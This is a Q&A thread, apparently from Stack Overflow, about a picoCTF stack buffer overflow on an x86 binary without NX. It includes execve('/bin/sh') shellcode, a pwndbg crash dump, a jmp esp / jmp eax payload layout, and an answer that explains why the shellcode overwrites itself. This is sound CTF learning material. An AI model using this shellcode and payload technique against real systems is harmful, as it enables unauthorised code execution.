assemblyx86buffer-overflowcalling-conventionshellcode

ROP - The use of the jmp esp


I was playing some picoCTF challenges today and I found myself stuck in a challenge. Digging around the internet, I found a solution online which I cannot fully grasp.

The challenge (whose name I won't spoil for those who are playing picoCTF) revolves around a vulnerable x86 ELF, and it involves using ROP gadgets to gain a shell, however the checksec reveals that the binary is not PIE, and there is no NX enabled.

By breaking at ret of the vulnerable function, I noticed that the EAX register contains the start address of the buffer on the stack. Moreover, I found out that the offset between the start of the buffer and the saved EIP is 28 bytes.

So my first guess was to craft a sufficiently short shellcode, place it inside the buffer preceeded by a NOP sled, and overwrite the saved EIP with a gadget jumping to the content of the EAX register, aka the start of my buffer.

However, I found out that this approach is not working. The shellcode I crafted is:

int 0x3   ; used for debugging purposes
xor eax, eax
push eax
push 0x0068732f
push 0x6e69622f
xor ebx, ebx
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

I assembled it using pwntool's asm library, setting the architecture to i386. The debugger reveals the following after few steps in:

pwndbg> 

Program received signal SIGSEGV, Segmentation fault.
0xff854a01 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2088
 EDX  0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 EDI  0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 ESI  0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 EBP  0x90909090
 ESP  0xff854a00 ◂— 0x0
 EIP  0xff854a01 ◂— 0x2f000000
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
   0xff8549f3    push   eax
   0xff8549f4    push   0x68732f
   0xff8549f9    push   0x6e69622f
   0xff8549fe    xor    ebx, ebx
   0xff854a00    add    byte ptr [eax], al
    ↓
 ► 0xff854a01    add    byte ptr [eax], al
   0xff854a03    add    byte ptr [edi], ch
   0xff854a05    bound  ebp, qword ptr [ecx + 0x6e]
   0xff854a08    das    
   0xff854a09    jae    0xff854a73                    <0xff854a73>
    ↓
   0xff854a73    add    byte ptr [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp eip-1 0xff854a00 ◂— 0x0
01:0004│           0xff854a04 ◂— '/bin/sh'
02:0008│           0xff854a08 ◂— 0x68732f /* '/sh' */
03:000c│           0xff854a0c ◂— 0x0
04:0010│ edx       0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
... ↓              2 skipped
07:001c│           0xff854a1c ◂— 0x3e8
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0xff854a01
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Meaning that the execution is breaking at 0xff854a00.

Now the solution I found online involved crafting the overflow string in the following way:

  1. Write 6 NOPs.
  2. Place the assembled instruction for jmp esp
  3. Write 20 more NOPs.
  4. Place the jmp eax gadget to jump to the start of the buffer, overwriting the saved EIP.
  5. Append the shellcode.

From what I've understood, the jmp ESP instruction allows to direct the execution right after the ret instruction, thus jumping inside the shellcode, but I would like to know more about this.

I even tried recalling the x86 Call/Return Protocol, but it seems that I cannot fully grasp how jumping to the stack would actually resolve the challenge.

I seek your help. Thanks!


Solution

  • Your code is on the stack under the stack pointer. Part of it is overwritten by your own push instructions. Notice that bound ebp, qword ptr [ecx + 0x6e] has machine code 62 69 6E which corresponds to push 0x6e69622f. Adjusting esp downwards by a suitable amount should fix the problem, e.g. sub esp, 32

    The other solution works around the problem by putting most of the shellcode above the stack pointer and only using a single jmp esp to transfer control. Here is an illustration of the memory layout:

    |    ...      |           |     ^       |
    |    ...      |           |     |       |
    |    ...      |           |     |       |
    |    ...      | <= ESP => |  shellcode  |
    +-------------+           +-------------+
    |  ret addr   |  jmp eax  |  ret addr   |
    +-------------+           +-------------+
    | pushed data |           | pushed data |
    |     |       |           |     |       |
    |     |       |           |     |       |
    |     v       |           |     v       |
    |  !overlap!  |           |    ...      |
    |     ^       |           |   jmp esp   |
    |     |       |           |    nop      |
    |     |       |           |    nop      |
    |  shellcode  | <= EAX => |    nop      |
    +-------------+           +-------------+
    

    The initial nops are probably not needed, it should work fine with the jmp esp followed by 26 nops (or whatever padding since it's not going to be executed) instead.